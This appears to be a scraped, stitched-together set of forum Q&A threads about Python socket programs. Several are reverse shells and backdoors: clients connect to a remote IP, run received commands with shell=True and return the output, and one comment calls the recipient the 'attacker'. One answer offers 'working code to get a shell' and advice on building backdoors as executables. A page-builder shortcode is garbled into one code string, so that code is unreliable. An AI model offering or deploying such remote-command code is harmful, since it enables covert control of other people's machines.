How can I return the OSX shell prompt to a user via Python?
I would like to implement my own "remote terminal".
I am trying this one, but it executes just a single command per time.
I would like it to be persistent like as in a terminal window.
import socket
import threading
import subprocess
bind_ip = "0.0.0.0"
bind_port = 9997
# how to connect?
# telnet 0.0.0.0 9999
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
# this is our client-handling thread
def handle_client(client_socket):
try:
while True:
# print out what the client sends
request = client_socket.recv(1024)
print "[*] Received: %s" % request
# send back a packet
# client_socket.send("ACK!\n")
if request == "quit": break
# do shell command
proc = subprocess.Popen(request.strip(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
client_socket.send(stdout_value)
except:
print "Connection failed. Closing port..."
client_socket.close()
while True:
client,addr = server.accept()
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])
# spin up our client thread to handle incoming data
client_handler = threading.Thread(target=handle_client,args=(client,))
client_handler.start()
Related
this is my server:
s.connect((ip, int(port)))
while True:
command = input("enter command>")
s.send(command.encode())
output = s.recv(BUFFER_SIZE).decode()
print(output)
s.close()
client:
while 1==1:
s.listen(5)
client_socket, client_address = s.accept()
while True:
results = client_socket.recv(BUFFER_SIZE).decode()
if results.lower() == "escape":
break
output = subprocess.getoutput(results)
client_socket.send(output.encode())
client_socket.close()
s.close()
What is wrong: I sent command 'dir' from server to client, it sucessfuly executed and sent the result back to the server, but after executing different command, the sent output was still the 'dir' output.
Shortly, it is sending still the output of the first command...
Messing around with a reverse shell I found
the server
from socket import *
HOST = ''
PORT = 9999
s = socket(AF_INET, SOCK_STREAM)
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
s.bind((HOST, PORT))
print("Listening on port " + str(PORT))
s.listen(10)
conn, addr = s.accept()
print("Connected to " + str(addr))
data = conn.recv(1024)
while 1:
command = input("connected\n")
conn.send(str(command).encode('utf-8'))
if command == "quit": break
data = conn.recv(1024).decode('utf-8')
print (data)
conn.close()
client
import socket, subprocess
HOST = '10.0.0.60'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(
'[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')
while 1:
data = s.recv(1024).decode('utf-8')
if data == "quit": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value).encode('utf-8')
s.close()
Error
connected
dir
connected
dir
After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.
Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.
Indent print(data) to be even with the preceding lines and your program should work as you intend.
#Server Side Script
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname()
port = 9999
s.bind((host,port))
print ("Waiting for connection...")
s.listen(5)
conn,addr = s.accept()
print ('Got Connection from', addr)
x='Server Saying Hi'.encode("utf-8")
while True:
command=input("Shell > ")
if 'terminate' in command:
conn.send('terminate'.encode("utf-8"))
conn.close()
break
else:
conn.send(bytes(command.encode("utf-8")))
print(conn.recv(20000).decode("utf-8"))
Client side Script
import socket
import subprocess
def connect():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = socket.gethostname() # Get current machine name
port = 9999 # Client wants to connect to server's # port number 9999
s.connect((host,port))
while True :
try:
command=s.recv(1024).decode("utf-8")
print('Server Says :- ',command)
if 'terminate' in command:
s.close()
break
else:
CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
except ConnectionAbortedError as e:
print("Server Connection Closed !\n\n\n",e)
connect()
I've seen similar questions such as this one: keep multiple console windows open from batch.
However, I have a different situation. I do not want to run a different script in a different console window. My idea is to have socket running as a server and accepting all connections. When a connection is accepted, a new console window is created, and all in-coming and out-going data is shown there. Is that even possible?
A process can only be attached to one console (i.e. instance of conhost.exe) at a time, and a console with no attached processes automatically closes. You would need to spawn a child process with creationflags=CREATE_NEW_CONSOLE.
The following demo script requires Windows Python 3.3+. It spawns two worker processes and duplicates each socket connection into the worker via socket.share and socket.fromshare. The marshaled socket information is sent to the child's stdin over a pipe. After loading the socket connection, the pipe is closed and CONIN$ is opened as sys.stdin to read standard input from the console.
import sys
import time
import socket
import atexit
import threading
import subprocess
HOST = 'localhost'
PORT = 12345
def worker():
conn = socket.fromshare(sys.stdin.buffer.read())
sys.stdin = open('CONIN$', buffering=1)
while True:
msg = conn.recv(1024).decode('utf-8')
if not msg:
break
print(msg)
conn.sendall(b'ok')
input('press enter to quit')
return 0
def client(messages):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
for msg in messages:
s.sendall(msg.encode('utf-8'))
response = s.recv(1024)
if response != b'ok':
break
time.sleep(1)
procs = []
def server():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
with conn:
p = subprocess.Popen(
['python', sys.argv[0], '-worker'],
stdin=subprocess.PIPE, bufsize=0,
creationflags=subprocess.CREATE_NEW_CONSOLE)
p.stdin.write(conn.share(p.pid))
p.stdin.close()
procs.append(p)
def cleanup():
for p in procs:
if p.poll() is None:
p.terminate()
if __name__ == '__main__':
if '-worker' in sys.argv[1:]:
sys.exit(worker())
atexit.register(cleanup)
threading.Thread(target=server, daemon=True).start()
tcli = []
for msgs in (['spam', 'eggs'], ['foo', 'bar']):
t = threading.Thread(target=client, args=(msgs,))
t.start()
tcli.append(t)
for t in tcli:
t.join()
input('press enter to quit')
/*
Hey, this script is purely for fun, not anything illegal, besides its easy to stop and detect. Further on if I were to use it for illegal activities, why would I post it here?
*/
My problem is that I am not able to execute cmd commands from the client. I am not sure why although I have a hint that it is to do with some kind of socket error. When I try to execute the command it just does nothing no matter how long I wait. It's nothing wrong with the client as I have tested it out with a simpler version of the code below.
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('IP here')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
def start():
conntrue = None
while conntrue is None:
try:
conntrue = s.connect((host, port))
s.send("[+] We are connected to %s") % (username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
elif exec_code == "Hey":
try:
proc = subprocess.Popen("MsgBox " + username + " Hey", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except:
s.send("[+] was wrong, just exec it manually")
else:
proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except:
s.close()
except:
conntrue = None
pass
s.close()
start()
Here you go,this is a working code to get a shell from your client. I doubt you will be able to use this anything illegal anyway, python is not for backdoors. You should consider C++ for this kind of code as not only is fast but it can be compiled into an exe. Whereas python requires the python interpreter and therefore cannot run on windows(unless you get py2exe).
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
try:
connection = s.connect((host, port))
s.send("[+] We are connected to %s" % username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
else:
proc = subprocess.Popen(exec_code, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except Exception, err:
print err
except Exception, e:
print e
s.close()
Try not to use except by itself use except Exception,variable to find mistakes in code then replace with the bare except.
I have a twisted server script listening on a unix socket and it receives the data when the client is in twisted but it doesn't work if i send it via a vanilla python socket code.
class SendProtocol(LineReceiver):
"""
This works
"""
def connectionMade(self):
print 'sending log'
self.sendLine(self.factory.logMessage)
if __name__ == '__main__':
address = FilePath('/tmp/test.sock')
startLogging(sys.stdout)
clientFactory = ClientFactory()
clientFactory.logMessage = 'Dfgas35||This is a message from server'
clientFactory.protocol = SendProtocol
port = reactor.connectUNIX(address.path, clientFactory)
reactor.run()
But this doesn't (server doesn't get any data)
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock_addr = '/tmp/test.sock'
try:
sock.connect(sock_addr)
except socket.error, msg:
print >> sys.stderr, msg
sys.exit(1)
sock.setblocking(0) # not needed though tried both ways
print 'connected %s' % sock.getpeername()
print 'End END to abort'
while True:
try:
line = raw_input('Enter mesg: ')
if line.strip() == 'END':
break
line += '\n'
print 'sending'
sock.sendall(line)
finally:
sock.close()
Your two client programs send different data. One sends \r\n-terminated lines. The other sends \n-terminated lines. Perhaps your server is expecting \r\n-terminated lines and this is why the latter example doesn't appear to work. Your non-Twisted example also closes the socket after the first line it sends but continues with its read-send loop.